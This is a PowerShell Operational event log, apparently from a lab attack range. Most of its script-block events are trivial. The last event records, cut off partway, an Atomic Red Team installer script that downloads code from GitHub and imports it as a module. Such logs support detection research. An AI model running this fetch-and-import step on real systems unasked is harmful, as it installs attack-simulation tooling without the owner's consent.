06/15/2021 04:59:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466918
Keywords=None
Message=Started invocation of ScriptBlock ID: ac4b6bcc-ad8f-4bb8-ad35-ee671f997bc8
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466917
Keywords=None
Message=Completed invocation of ScriptBlock ID: f2a2217f-7628-4710-a651-98322f3c058c
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466916
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52f36eb7-8ed2-40f3-bb40-6dfa489c8208
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466915
Keywords=None
Message=Started invocation of ScriptBlock ID: 52f36eb7-8ed2-40f3-bb40-6dfa489c8208
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466914
Keywords=None
Message=Started invocation of ScriptBlock ID: f2a2217f-7628-4710-a651-98322f3c058c
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1466913
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: f2a2217f-7628-4710-a651-98322f3c058c
Path:
06/15/2021 04:59:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466912
Keywords=None
Message=Completed invocation of ScriptBlock ID: ac4b6bcc-ad8f-4bb8-ad35-ee671f997bc8
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466925
Keywords=None
Message=Started invocation of ScriptBlock ID: ac4b6bcc-ad8f-4bb8-ad35-ee671f997bc8
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466924
Keywords=None
Message=Completed invocation of ScriptBlock ID: e9d97339-d9f2-4bb0-98c8-aa60eb0b88e3
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52f36eb7-8ed2-40f3-bb40-6dfa489c8208
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466922
Keywords=None
Message=Started invocation of ScriptBlock ID: 52f36eb7-8ed2-40f3-bb40-6dfa489c8208
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466921
Keywords=None
Message=Started invocation of ScriptBlock ID: e9d97339-d9f2-4bb0-98c8-aa60eb0b88e3
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1466920
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: e9d97339-d9f2-4bb0-98c8-aa60eb0b88e3
Path:
06/15/2021 04:59:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466919
Keywords=None
Message=Completed invocation of ScriptBlock ID: ac4b6bcc-ad8f-4bb8-ad35-ee671f997bc8
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466939
Keywords=None
Message=Started invocation of ScriptBlock ID: ac4b6bcc-ad8f-4bb8-ad35-ee671f997bc8
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466938
Keywords=None
Message=Completed invocation of ScriptBlock ID: adee5fa3-cfac-4e96-8de0-92ed69ed85a8
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52f36eb7-8ed2-40f3-bb40-6dfa489c8208
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466936
Keywords=None
Message=Started invocation of ScriptBlock ID: 52f36eb7-8ed2-40f3-bb40-6dfa489c8208
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466935
Keywords=None
Message=Started invocation of ScriptBlock ID: adee5fa3-cfac-4e96-8de0-92ed69ed85a8
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1466934
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: adee5fa3-cfac-4e96-8de0-92ed69ed85a8
Path:
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466933
Keywords=None
Message=Completed invocation of ScriptBlock ID: a8112a2c-383d-4238-a74f-011706a2cc32
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466932
Keywords=None
Message=Started invocation of ScriptBlock ID: a8112a2c-383d-4238-a74f-011706a2cc32
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 07107ac9-595a-47b4-984a-26f3bff2b2f3
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466930
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6c9d7205-a316-46e8-b211-b78db3ed7784
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466929
Keywords=None
Message=Started invocation of ScriptBlock ID: 6c9d7205-a316-46e8-b211-b78db3ed7784
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466928
Keywords=None
Message=Started invocation of ScriptBlock ID: 07107ac9-595a-47b4-984a-26f3bff2b2f3
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1466927
Keywords=None
Message=Creating Scriptblock text (1 of 1):
clear
ScriptBlock ID: 07107ac9-595a-47b4-984a-26f3bff2b2f3
Path:
06/15/2021 04:59:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466926
Keywords=None
Message=Completed invocation of ScriptBlock ID: ac4b6bcc-ad8f-4bb8-ad35-ee671f997bc8
Runspace ID: c48e1d16-7a1d-4f4f-aebf-2c2c52136eb0
06/15/2021 04:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1466941
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 5204 in AppDomain: DefaultAppDomain.
06/15/2021 04:59:30 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1466940
Keywords=None
Message=PowerShell console is starting up
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466956
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9170f589-62fc-4458-8119-9a563c2962dc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466955
Keywords=None
Message=Started invocation of ScriptBlock ID: 9170f589-62fc-4458-8119-9a563c2962dc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466954
Keywords=None
Message=Completed invocation of ScriptBlock ID: c4db51a6-743c-4150-b467-5492f8eeeb60
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466953
Keywords=None
Message=Started invocation of ScriptBlock ID: c4db51a6-743c-4150-b467-5492f8eeeb60
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466952
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8f35e418-fd5d-460e-8b7d-946cd8e071ff
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466950
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466949
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466948
Keywords=None
Message=Started invocation of ScriptBlock ID: 8f35e418-fd5d-460e-8b7d-946cd8e071ff
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1466947
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 8f35e418-fd5d-460e-8b7d-946cd8e071ff
Path:
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1466946
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4a8647c8-e083-48e6-bb19-c8f0641e3ccd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4a8647c8-e083-48e6-bb19-c8f0641e3ccd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466943
Keywords=None
Message=Completed invocation of ScriptBlock ID: a559300a-9b60-46ad-870d-17c3b3626d78
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466942
Keywords=None
Message=Started invocation of ScriptBlock ID: a559300a-9b60-46ad-870d-17c3b3626d78
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466964
Keywords=None
Message=Completed invocation of ScriptBlock ID: 13943163-bbec-4de4-bbfc-a59d80c8efb0
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466963
Keywords=None
Message=Started invocation of ScriptBlock ID: 13943163-bbec-4de4-bbfc-a59d80c8efb0
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1466962
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1bb48c88-d884-4e7f-a01a-cbb7d8f59d3b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1466961
Keywords=None
Message=Started invocation of ScriptBlock ID: 1bb48c88-d884-4e7f-a01a-cbb7d8f59d3b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:32 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1466960
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Install-AtomicRedTeam {
<#
.SYNOPSIS
This is a simple script to download and install the Atomic Red Team Invoke-AtomicRedTeam Powershell Framework.
Atomic Function: Install-AtomicRedTeam
Author: Red Canary Research
License: MIT License
Required Dependencies: powershell-yaml
Optional Dependencies: None
.PARAMETER DownloadPath
Specifies the desired path to download Atomic Red Team.
.PARAMETER InstallPath
Specifies the desired path for where to install Atomic Red Team.
.PARAMETER Force
Delete the existing InstallPath before installation if it exists.
.EXAMPLE
Install Atomic Red Team
PS> Install-AtomicRedTeam.ps1
.NOTES
Use the '-Verbose' option to print detailed information.
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $False, Position = 0)]
[string]$InstallPath = $( if ($IsLinux -or $IsMacOS) { $Env:HOME + "/AtomicRedTeam" } else { $env:HOMEDRIVE + "\AtomicRedTeam" }),
[Parameter(Mandatory = $False, Position = 1)]
[string]$DownloadPath = $InstallPath,
[Parameter(Mandatory = $False, Position = 2)]
[string]$RepoOwner = "redcanaryco",
[Parameter(Mandatory = $False, Position = 3)]
[string]$Branch = "master",
[Parameter(Mandatory = $False, Position = 4)]
[switch]$getAtomics = $False,
[Parameter(Mandatory = $False)]
[switch]$Force = $False # delete the existing install directory and reinstall
)
Try {
$InstallPathwIart = Join-Path $InstallPath "invoke-atomicredteam"
$modulePath = Join-Path "$InstallPath" "invoke-atomicredteam\Invoke-AtomicRedTeam.psd1"
if ($Force -or -Not (Test-Path -Path $InstallPathwIart )) {
write-verbose "Directory Creation"
if ($Force) {
Try {
if (Test-Path $InstallPathwIart) { Remove-Item -Path $InstallPathwIart -Recurse -Force -ErrorAction Stop | Out-Null }
}
Catch {
Write-Host -ForegroundColor Red $_.Exception.Message
return
}
}
if (-not (Test-Path $InstallPath)) { New-Item -ItemType directory -Path $InstallPath | Out-Null }
$url = "https://github.com/$RepoOwner/invoke-atomicredteam/archive/$Branch.zip"
$path = Join-Path $DownloadPath "$Branch.zip"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
write-verbose "Beginning download from Github"
Invoke-WebRequest $url -OutFile $path
write-verbose "Extracting ART to $InstallPath"
$zipDest = Join-Path "$DownloadPath" "tmp"
expand-archive -LiteralPath $path -DestinationPath "$zipDest" -Force:$Force
$iartFolderUnzipped = Join-Path $zipDest "invoke-atomicredteam-$Branch"
Move-Item $iartFolderUnzipped $InstallPathwIart
Remove-Item $zipDest -Recurse -Force
Remove-Item $path
if (-not (Get-InstalledModule -Name "powershell-yaml" -ErrorAction:SilentlyContinue)) {
write-verbose "Installing powershell-yaml"
Install-Module -Name powershell-yaml -Scope CurrentUser -Force
}
write-verbose "Importing invoke-atomicRedTeam module"
Import-Module $modulePath -Force
if ($getAtomics) {
Write-Verbose "Installing Atomics Folder"
